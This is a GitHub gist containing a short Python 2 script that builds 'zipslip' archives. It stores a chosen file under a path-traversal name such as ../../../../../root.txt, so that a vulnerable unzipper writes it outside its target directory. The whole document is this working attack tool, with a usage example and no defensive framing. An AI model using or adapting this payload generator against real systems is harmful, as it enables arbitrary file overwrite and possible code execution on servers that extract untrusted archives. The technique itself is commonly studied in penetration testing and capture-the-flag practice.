Skip to content

Instantly share code, notes, and snippets.

@xct
Last active August 5, 2021 10:16
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save xct/242b88c5b91d29e69e55404c822fc343 to your computer and use it in GitHub Desktop.
Save xct/242b88c5b91d29e69e55404c822fc343 to your computer and use it in GitHub Desktop.
Creates zips with relative paths ("zipslip")
#!/usr/bin/env python
import zipfile
import sys
import os
'''
Usage:
python zipslip.py xct.zip root.txt ../../../../..
Added ../../../../../root.txt to xct.zip
'''
def zip_file(file, path):
real_path = os.path.abspath(os.path.abspath(file))
fake_path = path+"/"+file
z.write(real_path, fake_path)
if __name__ == '__main__':
archive = sys.argv[1]
file = sys.argv[2]
path = sys.argv[3]
z = zipfile.ZipFile(archive, 'w', zipfile.ZIP_DEFLATED)
zip_file(file, path)
print "Added "+path+"/"+file+" to "+archive
z.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment